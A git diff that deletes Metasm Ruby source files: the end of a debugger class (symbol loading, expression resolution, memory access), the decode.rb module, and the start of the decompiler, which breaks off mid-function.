(addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # same as addrname, but scan preceding addresses if no symbol matches - def addrname!(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : - @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || - @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # loads the symbols from a mapped module - def loadsyms(addr, name='%08x'%addr.to_i) - if addr.kind_of? String - modules.each { |m| - if m.path =~ /#{addr}/i - addr = m.addr - name = File.basename m.path - break - end - } - return if not addr.kind_of? Integer - end - return if not peek = @memory.get_page(addr, 4) - if peek == "\x7fELF" - cls = LoadedELF - elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" - cls = LoadedPE - else return - end - - begin - e = cls.load @memory[addr, 0x1000_0000] - e.load_address = addr - e.decode_header - e.decode_exports - rescue - # cache the error so that we dont hit it every time - @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] - return - end - - if n = e.module_name and n != name - name = n - end - - @modulemap[name] ||= [addr, addr+e.module_size] - - cnt = 0 - e.module_symbols.each { |n_, a, l| - cnt += 1 - a += addr - @disassembler.set_label_at(a, n_, false) - @symbols[a] = n_ # XXX store "lib!sym" ? - if l and l > 1; @symbols_len[a] = l - else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync - end - } - log "loaded #{cnt} symbols from #{name}" - - true - end - - # scan the target memory for loaded libraries, load their symbols - def scansyms(addr=0, max=@memory.length-0x1000-addr) - while addr <= max - loadsyms(addr) - addr += 0x1000 - end - end - - # load symbols from all libraries found by the OS module - def loadallsyms(&b) - modules.each { |m| - b.call(m.addr) if b - loadsyms(m.addr, m.path) - } - end - - # see Disassembler#load_map - def load_map(str, off=0) - str = File.read(str) if File.exist?(str) - sks = @disassembler.sections.keys.sort - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - a = $1.to_i(16) + off - n = $3 - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # see Disassembler for comments - a = sks[$1.to_i(16)] + $2.to_i(16) + off - n = $3 - else next - end - @disassembler.set_label_at(a, n, false) - @symbols[a] = n - } - - end - - # parses the expression contained in arg - def parse_expr(arg) - parse_expr!(arg.dup) - end - - # parses the expression contained in arg, updates arg to point after the expr - def parse_expr!(arg, &b) - return if not e = IndExpression.parse_string!(arg) { |s| - # handle 400000 -> 0x400000 - # XXX no way to override and force decimal interpretation.. - if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) - s.to_i(16) - else - s.to_i - end - } - - # resolve ambiguous symbol names/hex values - bd = {} - e.externals.grep(::String).each { |ex| - if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || - (b && b.call(ex)) || symbols.index(ex) - lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } - case lst.length - when 0 - if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) - v = ex.to_i(16) - else - raise "unknown symbol name #{ex}" - end - when 1 - v = symbols.index(lst.first) - log "using #{lst.first} for #{ex}" - else - suggest = lst[0, 50].join(', ') - suggest = suggest[0, 125] + '...' if suggest.length > 128 - raise "ambiguous symbol name #{ex}: #{suggest} ?" - end - end - bd[ex] = v - } - e = e.bind(bd) - - e - end - - # resolves an expression involving register values and/or memory indirection using the current context - # uses #register_list, #get_reg_value, @mem, @cpu - # :tid/:pid resolve to current thread - def resolve_expr(e) - e = parse_expr(e) if e.kind_of? ::String - bd = { :tid => @tid, :pid => @pid } - Expression[e].externals.each { |ex| - next if bd[ex] - case ex - when ::Symbol; bd[ex] = get_reg_value(ex) - when ::String; bd[ex] = @symbols.index(ex) || @disassembler.prog_binding[ex] || 0 - end - } - Expression[e].bind(bd).reduce { |i| - if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer - i.len ||= @cpu.size/8 - p &= (1 << @cpu.size) - 1 if p < 0 - Expression.decode_imm(@memory, i.len, @cpu, p) - end - } - end - alias resolve resolve_expr - - # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace - def stacktrace(maxdepth=500, &b) - @cpu.dbg_stacktrace(self, maxdepth, &b) - end - - # accepts a range or begin/end address to read memory, or a register name - def [](arg0, arg1=nil) - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1].to_str - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0].to_str - else - get_reg_value(arg0) - end - end - - # accepts a range or begin/end address to write memory, or a register name - def []=(arg0, arg1, val=nil) - arg1, val = val, arg1 if not val - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1] = val - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0] = val - else - set_reg_value(arg0, val) - end - end - - - # read an int from the target memory, int of sz bytes (defaults to cpu.size) - def memory_read_int(addr, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - Expression.decode_imm(@memory, sz, @cpu, addr) - end - - # write an int in the target memory - def memory_write_int(addr, val, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - val = resolve_expr(val) if not val.kind_of? ::Integer - @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) - end - - # retrieve an argument (call at a function entrypoint) - def func_arg(nr) - @cpu.dbg_func_arg(self, nr) - end - def func_arg_set(nr, val) - @cpu.dbg_func_arg_set(self, nr, val) - end - - # retrieve a function returned value (call at func exitpoint) - def func_retval - @cpu.dbg_func_retval(self) - end - def func_retval_set(val) - @cpu.dbg_func_retval_set(self, val) - end - def func_retval=(val) - @cpu.dbg_func_retval_set(self, val) - end - - # retrieve a function return address (call at func entry/exit) - def func_retaddr - @cpu.dbg_func_retaddr(self) - end - def func_retaddr_set(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - def func_retaddr=(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) and defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) - if File.exist?(pf) - plugin_filename = pf - elsif File.exist?(pf + '.rb') - plugin_filename = pf + '.rb' - end - end - if (not File.exist?(plugin_filename) or File.directory?(plugin_filename)) and File.exist?(plugin_filename + '.rb') - plugin_filename += '.rb' - end - - instance_eval File.read(plugin_filename) - end - - # return the list of memory mappings of the current process - # array of [start, len, perms, infos] - def mappings - [[0, @memory.length]] - end - - # return a list of Process::Modules (with a #path, #addr) for the current process - def modules - [] - end - - # list debugged pids - def list_debug_pids - @pid_stuff.keys | [@pid].compact - end - - # return a list of OS::Process listing all alive processes (incl not debugged) - # default version only includes current debugged pids - def list_processes - list_debug_pids.map { |p| OS::Process.new(p) } - end - - # check if pid is valid - def check_pid(pid) - list_processes.find { |p| p.pid == pid } - end - - # list debugged tids - def list_debug_tids - @tid_stuff.keys | [@tid].compact - end - - # list of thread ids existing in the current process (incl not debugged) - # default version only lists debugged tids - alias list_threads list_debug_tids - - # check if tid is valid for the current process - def check_tid(tid) - list_threads.include?(tid) - end - - # see EData#pattern_scan - # scans only mapped areas of @memory, using os_process.mappings - def pattern_scan(pat, start=0, len=@memory.length-start, &b) - ret = [] - mappings.each { |maddr, mlen, perm, *o_| - next if perm !~ /r/i - mlen -= start-maddr if maddr < start - maddr = start if maddr < start - mlen = start+len-maddr if maddr+mlen > start+len - next if mlen <= 0 - EncodedData.new(read_mapped_range(maddr, mlen)).pattern_scan(pat) { |off| - off += maddr - ret << off if not b or b.call(off) - } - } - ret - end - - def read_mapped_range(addr, len) - # try to use a single get_page call - s = @memory.get_page(addr, len) || '' - s.length == len ? s : (s = @memory[addr, len] ? s.to_str : nil) - end -end -end diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb deleted file mode 100644 index 7c0b1af609..0000000000 --- a/lib/metasm/metasm/decode.rb +++ /dev/null @@ -1,244 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/render' - - -module Metasm -# symbolic pointer dereference -# API similar to Expression -class Indirection < ExpressionType - # Expression (the pointer) - attr_accessor :target - alias pointer target - alias pointer= target= - # length in bytes of data referenced - attr_accessor :len - # address of the instruction who generated the indirection - attr_accessor :origin - - def initialize(target, len, origin) - @target, @len, @origin = target, len, origin - end - - def reduce_rec - ptr = Expression[@target.reduce] - (ptr == Expression::Unknown) ? ptr : Indirection.new(ptr, @len, @origin) - end - - def bind(h) - h[self] || Indirection.new(@target.bind(h), @len, @origin) - end - - def hash ; @target.hash^@len.to_i end - def eql?(o) o.class == self.class and [o.target, o.len] == [@target, @len] end - alias == eql? - - include Renderable - def render - ret = [] - qual = {1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword'}[len] || "_#{len*8}bits" if len - ret << "#{qual} ptr " if qual - ret << '[' << @target << ']' - end - - # returns the complexity of the expression (number of externals +1 per indirection) - def complexity - 1+@target.complexity - end - - def self.[](t, l, o=nil) - new(Expression[*t], l, o) - end - - def inspect - "Indirection[#{@target.inspect.sub(/^Expression/, '')}, #{@len.inspect}#{', '+@origin.inspect if @origin}]" - end - - def externals - @target.externals - end - - def match_rec(target, vars) - return false if not target.kind_of? Indirection - t = target.target - if vars[t] - return false if @target != vars[t] - elsif vars.has_key? t - vars[t] = @target - elsif t.kind_of? ExpressionType - return false if not @target.match_rec(t, vars) - else - return false if targ != @target - end - if vars[target.len] - return false if @len != vars[target.len] - elsif vars.has_key? target.len - vars[target.len] = @len - else - return false if target.len != @len - end - vars - end -end - -class Expression - # returns the complexity of the expression (number of externals +1 per indirection) - def complexity - case @lexpr - when ExpressionType; @lexpr.complexity - when nil, ::Numeric; 0 - else 1 - end + - case @rexpr - when ExpressionType; @rexpr.complexity - when nil, ::Numeric; 0 - else 1 - end - end - - def expr_indirections - ret = case @lexpr - when Indirection; [@lexpr] - when ExpressionType; @lexpr.expr_indirections - else [] - end - case @rexpr - when Indirection; ret << @rexpr - when ExpressionType; ret.concat @rexpr.expr_indirections - else ret - end - end -end - -class EncodedData - # returns an ::Integer from self.ptr, advances ptr - # bytes from rawsize to virtsize = 0 - # ignores self.relocations - def get_byte - @ptr += 1 - if @ptr <= @data.length - b = @data[ptr-1] - b = b.unpack('C').first if b.kind_of? ::String # 1.9 - b - elsif @ptr <= @virtsize - 0 - end - end - - # reads len bytes from self.data, advances ptr - # bytes from rawsize to virtsize are returned as zeroes - # ignores self.relocations - def read(len=@virtsize-@ptr) - vlen = len - vlen = @virtsize-@ptr if len > @virtsize-@ptr - str = (@ptr < @data.length) ? @data[@ptr, vlen] : '' - str = str.to_str.ljust(vlen, "\0") if str.length < vlen - @ptr += len - str - end - - # decodes an immediate value from self.ptr, advances ptr - # returns an Expression on relocation, or an ::Integer - # if ptr has a relocation but the type/endianness does not match, the reloc is ignored and a warning is issued - # TODO arg type => sign+len - def decode_imm(type, endianness) - raise "invalid imm type #{type.inspect}" if not isz = Expression::INT_SIZE[type] - if rel = @reloc[@ptr] - if Expression::INT_SIZE[rel.type] == isz and rel.endianness == endianness - @ptr += rel.length - return rel.target - end - puts "W: Immediate type/endianness mismatch, ignoring relocation #{rel.target.inspect} (wanted #{type.inspect})" if $DEBUG - end - Expression.decode_imm(read(isz/8), type, endianness) - end - alias decode_immediate decode_imm -end - -class Expression - # decodes an immediate from a raw binary string - # type may be a length in bytes, interpreted as unsigned, or an expression type (eg :u32) - # endianness is either an endianness or an object than responds to endianness - def self.decode_imm(str, type, endianness, off=0) - type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer - endianness = endianness.endianness if not endianness.kind_of? ::Symbol - str = str[off, INT_SIZE[type]/8].to_s - str = str.reverse if endianness == :little - val = str.unpack('C*').inject(0) { |val_, b| (val_ << 8) | b } - val = make_signed(val, INT_SIZE[type]) if type.to_s[0] == ?i - val - end - class << self - alias decode_immediate decode_imm - end -end - -class CPU - # decodes the instruction at edata.ptr, mapped at virtual address off - # returns a DecodedInstruction or nil - def decode_instruction(edata, addr) - @bin_lookaside ||= build_bin_lookaside - di = decode_findopcode edata if edata.ptr <= edata.length - di.address = addr if di - di = decode_instr_op(edata, di) if di - decode_instr_interpret(di, addr) if di - end - - # matches the binary opcode at edata.ptr - # returns di or nil - def decode_findopcode(edata) - DecodedInstruction.new self - end - - # decodes di.instruction - # returns di or nil - def decode_instr_op(edata, di) - end - - # may modify di.instruction.args for eg jump offset => absolute address - # returns di or nil - def decode_instr_interpret(di, addr) - di - end - - # number of instructions following a jump that are still executed - def delay_slot(di=nil) - 0 - end - - def disassembler_default_func - DecodedFunction.new - end - - # return something like backtrace_binding in the forward direction - # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer - def get_fwdemu_binding(di, pc_reg=nil) - fdi = di.backtrace_binding ||= get_backtrace_binding(di) - fdi = fix_fwdemu_binding(di, fdi) - if pc_reg - if di.opcode.props[:setip] - xr = get_xrefs_x(nil, di) - if xr and xr.length == 1 - fdi[pc_reg] = xr[0] - else - fdi[:incomplete_binding] = Expression[1] - end - else - fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] - end - end - fdi - end - - # patch a forward binding from the backtrace binding - # useful only on specific instructions that update a register *and* dereference that register (eg push) - def fix_fwdemu_binding(di, fbd) - fbd - end -end -end diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb deleted file mode 100644 index 6dc7bda9a3..0000000000 --- a/lib/metasm/metasm/decompile.rb +++ /dev/null @@ -1,2658 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/decode' -require 'metasm/parse_c' - -module Metasm -class C::Variable; attr_accessor :stackoff; end -class C::Block; attr_accessor :decompdata; end -class DecodedFunction; attr_accessor :decompdata; end - -class CPU - def decompile_check_abi(dcmp, entry, func) - end -end - -class Decompiler - # TODO add methods to C::CExpr - AssignOp = [:'=', :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'>>=', :'<<=', :'++', :'--'] - - attr_accessor :dasm, :c_parser - attr_accessor :forbid_optimize_dataflow, :forbid_optimize_code, :forbid_decompile_ifwhile, :forbid_decompile_types, :forbid_optimize_labels - # recursive flag: for each subfunction, recurse is decremented, when 0 only the prototype is decompiled, when <0 nothing is done - attr_accessor :recurse - - def initialize(dasm, cp = dasm.c_parser) - @dasm = dasm - @recurse = 1/0.0 # Infinity - @c_parser = cp || @dasm.cpu.new_cparser - end - - # decompile recursively function from an entrypoint, then perform global optimisation (static vars, ...) - # should be called once after everything is decompiled (global optimizations may bring bad results otherwise) - # use decompile_func for incremental decompilation - # returns the c_parser - def decompile(*entry) - entry.each { |f| decompile_func(f) } - finalize - @c_parser - end - - # decompile a function, decompiling subfunctions as needed - # may return :restart, which means that the decompilation should restart from the entrypoint (and bubble up) (eg a new codepath is found which may changes dependency in blocks etc) - def decompile_func(entry) - return if @recurse < 0 - entry = @dasm.normalize entry - return if not @dasm.decoded[entry] - - # create a new toplevel function to hold our code - func = C::Variable.new - func.name = @dasm.auto_label_at(entry, 'func') - if f = @dasm.function[entry] and f.decompdata and f.decompdata[:return_type] - rettype = f.decompdata[:return_type] - else - rettype = C::BaseType.new(:int) - end - func.type = C::Function.new rettype, [] - if @c_parser.toplevel.symbol[func.name] - return if @recurse == 0 - if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } - # recursive dependency: declare prototype - puts "function #{func.name} is recursive: predecompiling for prototype" if $VERBOSE - pre_recurse = @recurse - @recurse = 0 - @c_parser.toplevel.symbol.delete func.name - decompile_func(entry) - @recurse = pre_recurse - if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } - @c_parser.toplevel.statements << C::Declaration.new(func) - end - end - return - end - @c_parser.toplevel.symbol[func.name] = func - puts "decompiling #{func.name}" if $VERBOSE - - while catch(:restart) { do_decompile_func(entry, func) } == :restart - retval = :restart - end - - @c_parser.toplevel.symbol[func.name] = func # recursive func prototype could have overwritten us - @c_parser.toplevel.statements << C::Declaration.new(func) - - puts " decompiled #{func.name}" if $VERBOSE - - retval - end - - # calls decompile_func with recurse -= 1 (internal use) - def decompile_func_rec(entry) - @recurse -= 1 - decompile_func(entry) - ensure - @recurse += 1 - end - - def do_decompile_func(entry, func) - # find decodedinstruction graph of the function, decompile subfuncs - myblocks = listblocks_func(entry) - - # [esp+8] => [:frameptr-12] - makestackvars entry, myblocks.map { |b, to| @dasm.decoded[b].block } - - # find registry dependencies between blocks - deps = @dasm.cpu.decompile_func_finddeps(self, myblocks, func) - - scope = func.initializer = C::Block.new(@c_parser.toplevel) - if df = @dasm.function[entry] - scope.decompdata = df.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} - else - scope.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} - end - - # di blocks => raw c statements, declare variables - @dasm.cpu.decompile_blocks(self, myblocks, deps, func) - - simplify_goto(scope) - namestackvars(scope) - unalias_vars(scope, func) - decompile_c_types(scope) - optimize(scope) - remove_unreferenced_vars(scope) - cleanup_var_decl(scope, func) - if @recurse > 0 - decompile_controlseq(scope) - optimize_vars(scope) - optimize_ctrl(scope) - optimize_vars(scope) - remove_unreferenced_vars(scope) - simplify_varname_noalias(scope) - rename_variables(scope) - end - @dasm.cpu.decompile_check_abi(self, entry, func) - - case ret = scope.statements.last - when C::CExpression; puts "no return at end of func" if $VERBOSE - when C::Return - if not ret.value - scope.statements.pop - else - v = ret.value - v = v.rexpr if v.kind_of? C::CExpression and not v.op and v.rexpr.kind_of? C::Typed - func.type.type = v.type - end - end - - if @recurse == 0 - # we need only the prototype - func.initializer = nil - end - end - - # redecompile a function, redecompiles functions calling it if its prototype changed - def redecompile(name) - @c_parser.toplevel.statements.delete_if { |st| st.kind_of? C::Declaration and st.var.name == name } - oldvar = @c_parser.toplevel.symbol.delete name - - decompile_func(name) - - if oldvar and newvar = @c_parser.toplevel.symbol[name] and oldvar.type.kind_of? C::Function and newvar.type.kind_of? C::Function - o, n = oldvar.type, newvar.type - if o.type != n.type or o.args.to_a.length != n.args.to_a.length or o.args.to_a.zip(n.args.to_a).find { |oa, na| oa.type != na.type } - # XXX a may depend on b and c, and b may depend on c -> redecompile c twice - # XXX if the dcmp is unstable, may also infinite loop on mutually recursive funcs.. - @c_parser.toplevel.statements.dup.each { |st| - next if not st.kind_of? C::Declaration - next if not st.var.initializer - next if st.var.name == name - next if not walk_ce(st) { |ce| break true if ce.op == :funcall and ce.lexpr.kind_of? C::Variable and ce.lexpr.name == name } - redecompile(st.var.name) - } - end - end - end - - def new_global_var(addr, type, scope=nil) - addr = @dasm.normalize(addr) - - # (almost) NULL ptr - return if addr.kind_of? Fixnum and addr >= 0 and addr < 32 - - # check preceding structure we're hitting - # TODO check what we step over when defining a new static struct - 0x100.times { |i_| - next if not n = @dasm.get_label_at(addr-i_) - next if not v = @c_parser.toplevel.symbol[n] - next if not v.type.pointer? or not v.type.pointed.untypedef.kind_of? C::Union - break if i_ == 0 # XXX it crashes later if we dont break here - next if sizeof(v.type.pointed) <= i_ - return structoffset(v.type.pointed.untypedef, C::CExpression[v], i_, nil) - } - - ptype = type.pointed.untypedef if type.pointer? - if ptype.kind_of? C::Function - name = @dasm.auto_label_at(addr, 'sub', 'xref', 'byte', 'word', 'dword', 'unk') - if @dasm.get_section_at(addr) and @recurse > 0 - puts "found function pointer to #{name}" if $VERBOSE - @dasm.disassemble(addr) if not @dasm.decoded[addr] # TODO disassemble_fast ? - f = @dasm.function[addr] ||= DecodedFunction.new - # TODO detect thunks (__noreturn) - f.decompdata ||= { :stackoff_type => {}, :stackoff_name => {} } - if not s = @c_parser.toplevel.symbol[name] or not s.initializer or not s.type.untypedef.kind_of? C::Function - os = @c_parser.toplevel.symbol.delete name - @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } - aoff = 1 - ptype.args.to_a.each { |a| - aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] - f.decompdata[:stackoff_type][aoff] ||= a.type - f.decompdata[:stackoff_name][aoff] ||= a.name if a.name - aoff += sizeof(a) # ary ? - } - decompile_func_rec(addr) - s = @c_parser.toplevel.symbol[name] - walk_ce([@c_parser.toplevel, scope]) { |ce| - ce.lexpr = s if ce.lexpr == os - ce.rexpr = s if ce.rexpr == os - } if os and s # update existing references to old instance - # else redecompile with new prototye ? - end - end - end - - name = case (type.pointer? && tsz = sizeof(nil, ptype)) - when 1; 'byte' - when 2; 'word' - when 4; 'dword' - else 'unk' - end - name = 'stru' if ptype.kind_of? C::Union - name = @dasm.auto_label_at(addr, name, 'xref', 'byte', 'word', 'dword', 'unk', 'stru') - - if not var = @c_parser.toplevel.symbol[name] - var = C::Variable.new - var.name = name - var.type = type.pointer? ? C::Array.new(ptype) : type - @c_parser.toplevel.symbol[var.name] = var - @c_parser.toplevel.statements << C::Declaration.new(var) - end - if ptype.kind_of? C::Union and type.pointer? and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length - # TODO struct init, array, fptrs.. - elsif type.pointer? and not type.pointed.untypedef.kind_of? C::Function and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length and - [1, 2, 4].include? tsz and (not var.type.pointer? or sizeof(var.type.pointed) != sizeof(type.pointed) or not var.initializer) - # TODO do not overlap other statics (but labels may refer to elements of the array...) - data = (0..256).map { - v = s[0].decode_imm("u#{tsz*8}".to_sym, @dasm.cpu.endianness) - v = decompile_cexpr(v, @c_parser.toplevel) if v.kind_of? Expression # relocation - v - } - var.initializer = data.map { |v| C::CExpression[v, C::BaseType.new(:int)] } unless (data - [0]).empty? - if (tsz == 1 or tsz == 2) and eos = data.index(0) and (0..3).all? { |i| data[i] >= 0x20 and data[i] < 0x7f } # printable str - # XXX 0x80 with ruby1.9... - var.initializer = C::CExpression[data[0, eos].pack('C*'), C::Pointer.new(ptype)] rescue nil - end - if var.initializer.kind_of? ::Array and i = var.initializer.first and i.kind_of? C::CExpression and not i.op and i.rexpr.kind_of? C::Variable and - i.rexpr.type.kind_of? C::Function and not @dasm.get_section_at(@dasm.normalize(i.rexpr.name)) # iat_ExternalFunc - i.type = i.rexpr.type - type = var.type = C::Array.new(C::Pointer.new(i.type)) - var.initializer = [i] - end - var.initializer = nil if var.initializer.kind_of? ::Array and not type.untypedef.kind_of? C::Array - end - - # TODO patch existing references to addr ? (or would they have already triggered new_global_var?) - - # return the object to use to replace the raw addr - var - end - - # return an array of [address of block start, list of block to]] - # decompile subfunctions - def listblocks_func(entry) - @autofuncs ||= [] - blocks = [] - entry = dasm.normalize entry - todo = [entry] - while a = todo.pop - next if blocks.find { |aa, at| aa == a } - next if not di = @dasm.di_at(a) - blocks << [a, []] - di.block.each_to { |ta, type| - next if type == :indirect - ta = dasm.normalize ta - if type != :subfuncret and not @dasm.function[ta] and - (not @dasm.function[entry] or @autofuncs.include? entry) and - di.block.list.last.opcode.props[:saveip] - # possible noreturn function - # XXX call $+5; pop eax - @autofuncs << ta - @dasm.function[ta] = DecodedFunction.new - puts "autofunc #{Expression[ta]}" if $VERBOSE - end - - if @dasm.function[ta] and type != :subfuncret - f = dasm.auto_label_at(ta, 'func') - ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ - ret = decompile_func_rec(ta) if (ta != entry or di.block.to_subfuncret) - throw :restart, :restart if ret == :restart - else - @dasm.auto_label_at(ta, 'label') if blocks.find { |aa, at| aa == ta } - blocks.last[1] |= [ta] - todo << ta - end - } - end - blocks - end - - # backtraces an expression from addr - # returns an integer, a label name, or an Expression - # XXX '(GetProcAddr("foo"))()' should not decompile to 'foo()' - def backtrace_target(expr, addr) - if n = @dasm.backtrace(expr, addr).first - return expr if n == Expression::Unknown - n = Expression[n].reduce_rec - n = @dasm.get_label_at(n) || n - n = $1 if n.kind_of? ::String and n =~ /^thunk_(.*)/ - n - else - expr - end - end - - # patches instruction's backtrace_binding to replace things referring to a static stack offset from func start by :frameptr+off - def makestackvars(funcstart, blocks) - blockstart = nil - cache_di = nil - cache = {} # [i_s, e, type] => backtrace - tovar = lambda { |di, e, i_s| - case e - when Expression; Expression[tovar[di, e.lexpr, i_s], e.op, tovar[di, e.rexpr, i_s]].reduce - when Indirection; Indirection[tovar[di, e.target, i_s], e.len, e.origin] - when :frameptr; e - when ::Symbol - cache.clear if cache_di != di ; cache_di = di - vals = cache[[e, i_s, 0]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => blockstart, - :include_start => i_s, :no_check => true, :terminals => [:frameptr]) - # backtrace only to blockstart first - if vals.length == 1 and ee = vals.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer) or - (not ee.lexpr and ee.op == :+ and ee.rexpr.kind_of? Indirection and eep = ee.rexpr.pointer and - (eep == Expression[:frameptr] or (eep.lexpr == :frameptr and eep.op == :+ and eep.rexpr.kind_of? ::Integer)))) - ee - else - # fallback on full run (could restart from blockstart with ee, but may reevaluate addr_binding.. - vals = cache[[e, i_s, 1]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => funcstart, - :include_start => i_s, :no_check => true, :terminals => [:frameptr]) - if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) - ee - else e - end - end - else e - end - } - - # must not change bt_bindings until everything is backtracked - repl_bind = {} # di => bt_bd - - @dasm.cpu.decompile_makestackvars(@dasm, funcstart, blocks) { |block| - block.list.each { |di| - bd = di.backtrace_binding ||= @dasm.cpu.get_backtrace_binding(di) - newbd = repl_bind[di] = {} - bd.each { |k, v| - k = tovar[di, k, true] if k.kind_of? Indirection - next if k == Expression[:frameptr] or (k.kind_of? Expression and k.lexpr == :frameptr and k.op == :+ and k.rexpr.kind_of? ::Integer) - newbd[k] = tovar[di, v, false] - } - } - } - - repl_bind.each { |di, bd| di.backtrace_binding = bd } - end - - # give a name to a stackoffset (relative to start of func) - # 4 => :arg_0, -8 => :var_4 etc - def stackoff_to_varname(off) - if off >= @c_parser.typesize[:ptr]; 'arg_%X' % ( off-@c_parser.typesize[:ptr]) # 4 => arg_0, 8 => arg_4.. - elsif off > 0; 'arg_0%X' % off - elsif off == 0; 'retaddr' - elsif off <= -@dasm.cpu.size/8; 'var_%X' % (-off-@dasm.cpu.size/8) # -4 => var_0, -8 => var_4.. - else 'var_0%X' % -off - end - end - - # turns an Expression to a CExpression, create+declares needed variables in scope - def decompile_cexpr(e, scope, itype=nil) - case e - when Expression - if e.op == :'=' and e.lexpr.kind_of? ::String and e.lexpr =~ /^dummy_metasm_/ - decompile_cexpr(e.rexpr, scope, itype) - elsif e.op == :+ and e.rexpr.kind_of? ::Integer and e.rexpr < 0 - decompile_cexpr(Expression[e.lexpr, :-, -e.rexpr], scope, itype) - elsif e.lexpr - a = decompile_cexpr(e.lexpr, scope, itype) - C::CExpression[a, e.op, decompile_cexpr(e.rexpr, scope, itype)] - elsif e.op == :+ - decompile_cexpr(e.rexpr, scope, itype) - else - a = decompile_cexpr(e.rexpr, scope, itype) - C::CExpression[e.op, a] - end - when Indirection - case e.len - when 1, 2, 4, 8 - bt = C::BaseType.new("__int#{e.len*8}".to_sym) - else - bt = C::Struct.new - bt.members = [C::Variable.new('data', C::Array.new(C::BaseType.new(:__int8), e.len))] - end - itype = C::Pointer.new(bt) - p = decompile_cexpr(e.target, scope, itype) - p = C::CExpression[[p], itype] if not p.type.kind_of? C::Pointer - C::CExpression[:*, p] - when ::Integer - C::CExpression[e] - when C::CExpression - e - else - name = e.to_s - if not s = scope.symbol_ancestors[name] - s = C::Variable.new - s.type = C::BaseType.new(:__int32) - case e - when ::String # edata relocation (rel.length = size of pointer) - return @c_parser.toplevel.symbol[e] || new_global_var(e, itype || C::BaseType.new(:int), scope) - when ::Symbol; s.storage = :register ; s.add_attribute("register(#{name})") - else s.type.qualifier = [:volatile] - puts "decompile_cexpr unhandled #{e.inspect}, using #{e.to_s.inspect}" if $VERBOSE - end - s.name = name - scope.symbol[s.name] = s - scope.statements << C::Declaration.new(s) - end - s - end - end - - # simplify goto -> goto / goto -> return - def simplify_goto(scope, keepret = false) - if not keepret and scope.statements[-1].kind_of? C::Return and not scope.statements[-2].kind_of? C::Label - scope.statements.insert(-2, C::Label.new("ret_label")) - end - - jumpto = {} - walk(scope) { |s| - next if not s.kind_of? C::Block - s.statements.each_with_index { |ss, i| - case ss - when C::Goto, C::Return - while l = s.statements[i -= 1] and l.kind_of? C::Label - jumpto[l.name] = ss - end - end - 